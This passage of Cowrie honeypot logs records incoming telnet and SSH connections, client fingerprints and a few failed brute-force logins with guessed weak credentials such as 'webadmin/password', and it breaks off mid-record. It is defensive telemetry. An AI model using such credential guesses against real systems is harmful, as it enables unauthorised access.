{"eventid":"cowrie.session.closed","duration":52.657439947128296,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:24.886865Z","src_ip":"38.60.198.128","session":"ff6af0b59d60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.257000923156738,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:25.377477Z","src_ip":"38.54.119.93","session":"386c240865a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.10.86.130","src_port":52250,"dst_ip":"159.203.135.109","dst_port":22,"session":"c576ec1cd458","protocol":"ssh","message":"New connection: 186.10.86.130:52250 (159.203.135.109:22) [session: c576ec1cd458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:26.134366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:26.140473Z","src_ip":"186.10.86.130","session":"c576ec1cd458","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:26.283861Z","src_ip":"186.10.86.130","session":"c576ec1cd458","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.962268590927124,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:26.382116Z","src_ip":"38.60.198.128","session":"aa5402c8b1ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":57114,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a0c00f1158f","protocol":"telnet","message":"New connection: 38.54.119.93:57114 (10.17.0.5:23) [session: 4a0c00f1158f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:26.812570Z"}
{"eventid":"cowrie.login.failed","username":"teste","password":"123123","message":"login attempt [teste/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:26.888973Z","src_ip":"186.10.86.130","session":"c576ec1cd458","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:28.035381Z","src_ip":"186.10.86.130","session":"c576ec1cd458","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.208.117","src_port":3553,"dst_ip":"10.17.0.5","dst_port":22,"session":"94d87c0f7631","protocol":"ssh","message":"New connection: 115.68.208.117:3553 (10.17.0.5:22) [session: 94d87c0f7631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:28.721725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:28.726553Z","src_ip":"115.68.208.117","session":"94d87c0f7631","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:28.929579Z","src_ip":"115.68.208.117","session":"94d87c0f7631","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.259366512298584,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:29.071811Z","src_ip":"38.54.119.93","session":"4a0c00f1158f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.778319358825684,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:29.387127Z","src_ip":"38.60.198.128","session":"4b4d2bba7e8d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"1qsx2wdc","message":"login attempt [user/1qsx2wdc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:29.764440Z","src_ip":"115.68.208.117","session":"94d87c0f7631","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":37188,"dst_ip":"159.203.135.109","dst_port":23,"session":"e157ff699f30","protocol":"telnet","message":"New connection: 38.60.198.128:37188 (159.203.135.109:23) [session: e157ff699f30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:30.873193Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:30.983036Z","src_ip":"115.68.208.117","session":"94d87c0f7631","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":42024,"dst_ip":"159.203.135.109","dst_port":23,"session":"24e4d6380efb","protocol":"telnet","message":"New connection: 38.60.198.128:42024 (159.203.135.109:23) [session: 24e4d6380efb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:34.639105Z"}
{"eventid":"cowrie.session.closed","duration":46.482617139816284,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:37.404644Z","src_ip":"38.60.198.128","session":"df2b5c25eabe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":34658,"dst_ip":"10.17.0.5","dst_port":23,"session":"df942a76e5cc","protocol":"telnet","message":"New connection: 38.54.119.93:34658 (10.17.0.5:23) [session: df942a76e5cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:37.500479Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":45052,"dst_ip":"159.203.135.109","dst_port":23,"session":"43e2bd31dc4a","protocol":"telnet","message":"New connection: 38.60.198.128:45052 (159.203.135.109:23) [session: 43e2bd31dc4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:38.425179Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":47602,"dst_ip":"159.203.135.109","dst_port":23,"session":"56665e69d9ee","protocol":"telnet","message":"New connection: 38.60.198.128:47602 (159.203.135.109:23) [session: 56665e69d9ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:39.415655Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":45192,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c81e17b5866","protocol":"telnet","message":"New connection: 38.60.198.128:45192 (159.203.135.109:23) [session: 7c81e17b5866]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:39.522063Z"}
{"eventid":"cowrie.session.closed","duration":44.98744034767151,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:40.137058Z","src_ip":"38.60.198.128","session":"e6a44ad6bc2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.348022937774658,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:41.763567Z","src_ip":"38.60.198.128","session":"56665e69d9ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.69648313522339,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:44.289967Z","src_ip":"38.60.198.128","session":"6f0f18c4c863","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"219.156.86.161","src_port":49235,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf479ba0e857","protocol":"telnet","message":"New connection: 219.156.86.161:49235 (159.203.135.109:23) [session: cf479ba0e857]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:44.856136Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":33406,"dst_ip":"159.203.135.109","dst_port":23,"session":"6838c2c09f3e","protocol":"telnet","message":"New connection: 38.60.198.128:33406 (159.203.135.109:23) [session: 6838c2c09f3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:50.784303Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":36898,"dst_ip":"159.203.135.109","dst_port":23,"session":"41cb4db14818","protocol":"telnet","message":"New connection: 38.60.198.128:36898 (159.203.135.109:23) [session: 41cb4db14818]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:53.484077Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41234,"dst_ip":"159.203.135.109","dst_port":23,"session":"23dd8b7fa87e","protocol":"telnet","message":"New connection: 38.60.198.128:41234 (159.203.135.109:23) [session: 23dd8b7fa87e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:57.004745Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41318,"dst_ip":"159.203.135.109","dst_port":23,"session":"948e25b8f876","protocol":"telnet","message":"New connection: 38.60.198.128:41318 (159.203.135.109:23) [session: 948e25b8f876]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:57.182997Z"}
{"eventid":"cowrie.session.closed","duration":45.94473600387573,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:57.528231Z","src_ip":"38.60.198.128","session":"746a72370a69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":67.87515807151794,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:58.299581Z","src_ip":"38.60.198.128","session":"20219f8593b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.50326871871948,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:40:58.328645Z","src_ip":"38.54.119.93","session":"849b134d6795","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":35540,"dst_ip":"10.17.0.5","dst_port":23,"session":"48f5a5a66790","protocol":"telnet","message":"New connection: 45.81.23.16:35540 (10.17.0.5:23) [session: 48f5a5a66790]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:00.171175Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":50686,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ada625c60b9","protocol":"telnet","message":"New connection: 45.81.23.16:50686 (10.17.0.5:23) [session: 2ada625c60b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:00.236003Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":50698,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4efad7ec56b","protocol":"telnet","message":"New connection: 45.81.23.16:50698 (10.17.0.5:23) [session: f4efad7ec56b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:00.301389Z"}
{"eventid":"cowrie.session.closed","duration":45.50156784057617,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:03.021132Z","src_ip":"38.60.198.128","session":"32a7d91761ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00223875045776,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:04.017912Z","src_ip":"186.53.42.196","session":"16376ee11a7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.37413263320923,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:04.979160Z","src_ip":"38.60.198.128","session":"cc9bcbae3f05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.53.42.196","src_port":56936,"dst_ip":"10.17.0.5","dst_port":23,"session":"d56ab3c34236","protocol":"telnet","message":"New connection: 186.53.42.196:56936 (10.17.0.5:23) [session: d56ab3c34236]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:05.382470Z"}
{"eventid":"cowrie.session.closed","duration":5.644379138946533,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:05.945633Z","src_ip":"45.81.23.16","session":"f4efad7ec56b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.390862703323364,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:06.561936Z","src_ip":"45.81.23.16","session":"48f5a5a66790","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":56824,"dst_ip":"159.203.135.109","dst_port":23,"session":"f684b3ff21de","protocol":"telnet","message":"New connection: 38.60.198.128:56824 (159.203.135.109:23) [session: f684b3ff21de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:09.292457Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":57582,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b189ff4c588","protocol":"telnet","message":"New connection: 38.60.198.128:57582 (159.203.135.109:23) [session: 2b189ff4c588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:09.973224Z"}
{"eventid":"cowrie.session.closed","duration":41.75432634353638,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:12.627401Z","src_ip":"38.60.198.128","session":"e157ff699f30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.011000633239746,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:13.246899Z","src_ip":"45.81.23.16","session":"2ada625c60b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00155115127563,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:13.491782Z","src_ip":"38.60.198.128","session":"2b6b90d45c02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.932134628295898,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:14.224452Z","src_ip":"38.60.198.128","session":"f684b3ff21de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.56542706489563,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:15.421426Z","src_ip":"219.156.86.161","session":"cf479ba0e857","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.42071843147278,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:15.942680Z","src_ip":"38.60.198.128","session":"7c81e17b5866","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.02056884765625,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:18.445579Z","src_ip":"38.60.198.128","session":"43e2bd31dc4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.34931540489197,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:18.988304Z","src_ip":"38.60.198.128","session":"24e4d6380efb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41958,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4bde7311861","protocol":"telnet","message":"New connection: 38.60.198.128:41958 (159.203.135.109:23) [session: a4bde7311861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:20.410039Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":43120,"dst_ip":"159.203.135.109","dst_port":23,"session":"70a908c54d8f","protocol":"telnet","message":"New connection: 38.60.198.128:43120 (159.203.135.109:23) [session: 70a908c54d8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:21.190794Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":46308,"dst_ip":"159.203.135.109","dst_port":23,"session":"82aa18390899","protocol":"telnet","message":"New connection: 38.60.198.128:46308 (159.203.135.109:23) [session: 82aa18390899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:22.013049Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":51544,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb6c8e666976","protocol":"telnet","message":"New connection: 38.60.198.128:51544 (159.203.135.109:23) [session: eb6c8e666976]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:25.448441Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.208.117","src_port":45151,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ccbc48f6db0","protocol":"ssh","message":"New connection: 115.68.208.117:45151 (10.17.0.5:22) [session: 9ccbc48f6db0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:28.302937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:28.307396Z","src_ip":"115.68.208.117","session":"9ccbc48f6db0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:28.523672Z","src_ip":"115.68.208.117","session":"9ccbc48f6db0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webadmin","password":"password","message":"login attempt [webadmin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:29.387226Z","src_ip":"115.68.208.117","session":"9ccbc48f6db0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.10.86.130","src_port":35392,"dst_ip":"159.203.135.109","dst_port":22,"session":"43bca7ebc869","protocol":"ssh","message":"New connection: 186.10.86.130:35392 (159.203.135.109:22) [session: 43bca7ebc869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:30.181031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:41:30.187997Z","src_ip":"186.10.86.130","session":"43bca7ebc869","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh